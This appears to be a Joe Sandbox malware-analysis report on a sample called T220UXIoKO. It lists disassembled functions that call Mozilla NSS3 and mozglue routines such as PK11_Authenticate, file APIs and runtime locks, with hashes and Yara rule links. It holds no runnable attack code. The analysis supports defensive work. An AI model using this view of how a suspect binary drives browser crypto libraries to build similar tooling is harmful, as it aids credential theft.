Opcode ID: e8da39c091512c01e32d6787a5beddf2567b2ba1b093a921b5eaea5f8af82b3f
Instruction ID: aa8cb11b38e55a88d7bf56b54401f4618da00392de113377058285e5a0cb0ff5
Opcode Fuzzy Hash: e8da39c091512c01e32d6787a5beddf2567b2ba1b093a921b5eaea5f8af82b3f
Instruction Fuzzy Hash: FD2191B16056018FD700AF39C5D8559BBF4FF06304F0589BED8988B701EB31D886CB81

Function 6C8F2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C8F2CA0
PR_ExitMonitor.NSS3 ref: 6C8F2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C8F2CD1
strdup.MOZGLUE(?), ref: 6C8F2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C8F2D27

Strings

Loaded library %s (static lib), xrefs: 6C8F2D22

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 5c54ad75d86bee8fe9863b3820665adbc873434bdc6625366cc85114b6053919
Instruction ID: 1a59ba99bb56557cb4522cc7e967e18f6915e1968c087c184325b1313b9eda3b
Opcode Fuzzy Hash: 5c54ad75d86bee8fe9863b3820665adbc873434bdc6625366cc85114b6053919
Instruction Fuzzy Hash: 591138B07052948FEB24AF19D94866637B4AB4638EF24C93DDC19C7B01D735E819CBA1

Function 6C840FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7E87ED,00000800,6C7DEF74,00000000), ref: 6C841000
PR_NewLock.NSS3(?,00000800,6C7DEF74,00000000), ref: 6C841016

Part of subcall function 6C8A98D0: calloc.MOZGLUE(00000001,00000084,6C7D0936,00000001,?,6C7D102C), ref: 6C8A98E5

PL_InitArenaPool.NSS3(00000000,security,6C7E87ED,00000008,?,00000800,6C7DEF74,00000000), ref: 6C84102B
TlsGetValue.KERNEL32(00000000,?,?,6C7E87ED,00000800,6C7DEF74,00000000), ref: 6C841044
free.MOZGLUE(00000000,?,00000800,6C7DEF74,00000000), ref: 6C841064

Strings

security, xrefs: 6C841025

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 1f87e941e01a660be6487b6bad7fdb61a778d90c17755651874fc5361bdf8627
Instruction ID: 98286b8ec786362da15c6c533ef31d5ceba47741032160b2a35527e22c284abf
Opcode Fuzzy Hash: 1f87e941e01a660be6487b6bad7fdb61a778d90c17755651874fc5361bdf8627
Instruction Fuzzy Hash: FB016B3060465C9BE7307F3D8E09B567AA8BF4274AF118A26E80CD7E51EB70C164DBD1

Function 004192E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:A,80000000,00000003,00000000,00000003,00000080,00000000,?,00413AEE,?), ref: 004192FC
GetFileSizeEx.KERNEL32(000000FF,:A), ref: 00419319
CloseHandle.KERNEL32(000000FF), ref: 00419327

Strings

:A, xrefs: 00419311, 0041933D, 00419314
:A, xrefs: 004192F8, 004192FB

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :A$:A
API String ID: 1378416451-1974578005
Opcode ID: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction ID: 8914ec7bfe49e7fff428ea2f0c8e17c8fee3bdc60d16e88834f62bd89b6794de
Opcode Fuzzy Hash: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction Fuzzy Hash: 14F03C39E80208BBDB20DFF0DC59BDE77BAAB48710F108254FA61A72C0D6789A418B45

Function 6C882E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C883046

Part of subcall function 6C86EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C86EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C857FFB), ref: 6C88312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C883154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C882E8B

Part of subcall function 6C88C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C88C2BF

Part of subcall function 6C86F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C859BFF,?,00000000,00000000), ref: 6C86F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C857FFA), ref: 6C882EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C88317B

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 607b093dc500d1a5a79b2d7aa07192a8f96c17e110680b8b37337cd362ccb459
Instruction ID: 71458539dc4358b0ba967b0fd5168d048d0843012b2ddc5aa25abe03219d8977
Opcode Fuzzy Hash: 607b093dc500d1a5a79b2d7aa07192a8f96c17e110680b8b37337cd362ccb459
Instruction Fuzzy Hash: E2A1BD75A002189FDB34CF58CD80BEAB7B5EF49308F0485A9E94967B81E731AD85CF91

Function 6C84ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C84ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C84EDCE

Part of subcall function 6C840BE0: malloc.MOZGLUE(6C838D2D,?,00000000,?), ref: 6C840BF8
Part of subcall function 6C840BE0: TlsGetValue.KERNEL32(6C838D2D,?,00000000,?), ref: 6C840C15

free.MOZGLUE(00000000,?,?,?,?,6C84B04F), ref: 6C84EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C84EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C84EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C84EEFB

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 634d43e4ce38254e136bb961f20cd82ea0e763ff1c2c4cffa606b9c448a92a2a
Instruction ID: 854a920ab0a5b62aafd8084b31f13ba04366ecd6eb224cf7df4a2c7023f2a37e
Opcode Fuzzy Hash: 634d43e4ce38254e136bb961f20cd82ea0e763ff1c2c4cffa606b9c448a92a2a
Instruction Fuzzy Hash: B5815EB5A002099FEB24CF59DA84FABB7F5BF48308F14882CE9159B751D730E815CBA1

Function 6C84CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C84C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C84DAE2,?), ref: 6C84C6C2

PR_Now.NSS3 ref: 6C84CD35

Part of subcall function 6C8A9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C8F0A27), ref: 6C8A9DC6
Part of subcall function 6C8A9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C8F0A27), ref: 6C8A9DD1
Part of subcall function 6C8A9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C8A9DED

Part of subcall function 6C836C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C7E1C6F,00000000,00000004,?,?), ref: 6C836C3F

PR_GetCurrentThread.NSS3 ref: 6C84CD54

Part of subcall function 6C8A9BF0: TlsGetValue.KERNEL32(?,?,?,6C8F0A75), ref: 6C8A9C07

Part of subcall function 6C837260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C7E1CCC,00000000,00000000,?,?), ref: 6C83729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C84CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C84CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C84CE2C

Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C8410F3
Part of subcall function 6C8410C0: EnterCriticalSection.KERNEL32(?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84110C
Part of subcall function 6C8410C0: PL_ArenaAllocate.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841141
Part of subcall function 6C8410C0: PR_Unlock.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841182
Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C84CE40

Part of subcall function 6C8414C0: TlsGetValue.KERNEL32 ref: 6C8414E0
Part of subcall function 6C8414C0: EnterCriticalSection.KERNEL32 ref: 6C8414F5
Part of subcall function 6C8414C0: PR_Unlock.NSS3 ref: 6C84150D

Part of subcall function 6C84CEE0: PORT_ArenaMark_Util.NSS3(?,6C84CD93,?), ref: 6C84CEEE
Part of subcall function 6C84CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C84CD93,?), ref: 6C84CEFC
Part of subcall function 6C84CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C84CD93,?), ref: 6C84CF0B
Part of subcall function 6C84CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C84CD93,?), ref: 6C84CF1D

Part of subcall function 6C84CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C84CD93,?), ref: 6C84CF47
Part of subcall function 6C84CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C84CD93,?), ref: 6C84CF67
Part of subcall function 6C84CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C84CD93,?,?,?,?,?,?,?,?,?,?,?,6C84CD93,?), ref: 6C84CF78

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 9b121403d3a5252c91d1d5fde2f243c6082b83f79c92c205fb8b0afacbb9507b
Instruction ID: 89e0799f4cc7b3a8703d640c5cc7192873c04b6e4cc2313262b27711ade7bad8
Opcode Fuzzy Hash: 9b121403d3a5252c91d1d5fde2f243c6082b83f79c92c205fb8b0afacbb9507b
Instruction Fuzzy Hash: 3851C676A001189BE720DF69DE40FAA77E8AF48348F258934D94997742FB31ED09CB91

Function 6C81EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C81EF38

Part of subcall function 6C809520: PK11_IsLoggedIn.NSS3(00000000,?,6C83379E,?,00000001,?), ref: 6C809542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C81EF53

Part of subcall function 6C824C20: TlsGetValue.KERNEL32 ref: 6C824C4C
Part of subcall function 6C824C20: EnterCriticalSection.KERNEL32(?), ref: 6C824C60
Part of subcall function 6C824C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C824CA1
Part of subcall function 6C824C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C824CBE
Part of subcall function 6C824C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C824CD2
Part of subcall function 6C824C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C824D3A

PR_GetCurrentThread.NSS3 ref: 6C81EF9E

Part of subcall function 6C8A9BF0: TlsGetValue.KERNEL32(?,?,?,6C8F0A75), ref: 6C8A9C07

free.MOZGLUE(00000000), ref: 6C81EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C81F016
free.MOZGLUE(00000000), ref: 6C81F022

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 263d5130cfc45a215233d24a9d9be89e30770233947dd648d54492261d6a70dd
Instruction ID: 87918046a9a87b0d6237dbd7fc747115bf9bfcf2bbd8155622fcc20ee0f0a5e2
Opcode Fuzzy Hash: 263d5130cfc45a215233d24a9d9be89e30770233947dd648d54492261d6a70dd
Instruction Fuzzy Hash: 2541B271E0420AAFDF118FA9DD44BEE7BB9AF48358F004435F908A6750E772C9158BA1

Function 6C80CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C80CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C80D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C80D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C80D025
PR_NewLock.NSS3 ref: 6C80D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C80D074

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 33b5f576a94c821972a5ee1d42c68ed34e4b2ab549581aa7960e96d77a2adacc
Instruction ID: 925d5eb0d8669e0d0c489f294a4eb3cf1d3c943e71fa9ef29f1e655f468755a6
Opcode Fuzzy Hash: 33b5f576a94c821972a5ee1d42c68ed34e4b2ab549581aa7960e96d77a2adacc
Instruction Fuzzy Hash: 8B4182B0B013159FDB209F29CE847967BA4AF04318F10496ADC1D8FB46D774D485CBA2

Function 6C7F2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C7E2D1A), ref: 6C7F2E7E

Part of subcall function 6C8407B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C7E8298,?,?,?,6C7DFCE5,?), ref: 6C8407BF
Part of subcall function 6C8407B0: PL_HashTableLookup.NSS3(?,?), ref: 6C8407E6
Part of subcall function 6C8407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C84081B
Part of subcall function 6C8407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C840825

PR_Now.NSS3 ref: 6C7F2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C7F2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C7E2D1A), ref: 6C7F2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C7E2D1A), ref: 6C7F2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C7F2F81

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 6cef97f3557c0004563464ebe951a714a20e42dc9a2ed38bdf3c8a40fecaf250
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 3331047152518087F710C655CECDFAF72A9EB80318F64497AD43987BD1EB31998BC611

Function 6C71DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C71DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C71D38A,?), ref: 6C71DC6F
free.MOZGLUE(?,?,?,?,?,6C71D38A,?), ref: 6C71DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C71D38A,?), ref: 6C71DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C71D38A,?), ref: 6C71DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C71D38A,?), ref: 6C71DD4A

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: afb1747803c81c93f1f7a0227fba11e772c149912b6cee3de528d0bdf0ae119f
Instruction ID: 85cb001ab6afa9c35dc7f189c595e09d045efcbae93d34f538f288befe264d39
Opcode Fuzzy Hash: afb1747803c81c93f1f7a0227fba11e772c149912b6cee3de528d0bdf0ae119f
Instruction Fuzzy Hash: EB4198B5A04605CFCB00CFA9C98499ABBF6FF89318B19446AD945ABB10DB31FC00CF94

Function 6C7E0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C7E0A2C), ref: 6C7E0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C7E0A2C), ref: 6C7E0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C7E0A2C), ref: 6C7E0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C7E0A2C), ref: 6C7E0E90
free.MOZGLUE(00000000), ref: 6C7E0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C7E0A2C), ref: 6C7E0ED9

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 87dbc6b30bab170887d6deacf737d23f5def07a3c4112a6ea564f72e55a025bc
Instruction ID: 822bfbd37010a00168d80a44aa9e145974abaac6b98747f5d46c4fc6f7e8b0c1
Opcode Fuzzy Hash: 87dbc6b30bab170887d6deacf737d23f5def07a3c4112a6ea564f72e55a025bc
Instruction Fuzzy Hash: 79217073E0028547EB1065799E45B6B72AFDFC974CF1D4435D81CA7A02FF70C81492A1

Function 0041B38C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B39A

Part of subcall function 0041AFAC: __mtinitlocknum.LIBCMT ref: 0041AFC2
Part of subcall function 0041AFAC: __amsg_exit.LIBCMT ref: 0041AFCE
Part of subcall function 0041AFAC: EnterCriticalSection.KERNEL32(?,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A,?,0041AC39), ref: 0041AFD6

DecodePointer.KERNEL32(0042A130,00000020,0041B4DD,?,00000001,00000000,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E), ref: 0041B3D6
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A,?,0041AC39), ref: 0041B3E7

Part of subcall function 0041BE35: EncodePointer.KERNEL32(00000000,0041C063,004495B8,00000314,00000000,?,?,?,?,?,0041B707,004495B8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041BE37

DecodePointer.KERNEL32(-00000004,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A,?,0041AC39), ref: 0041B40D
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A,?,0041AC39), ref: 0041B420
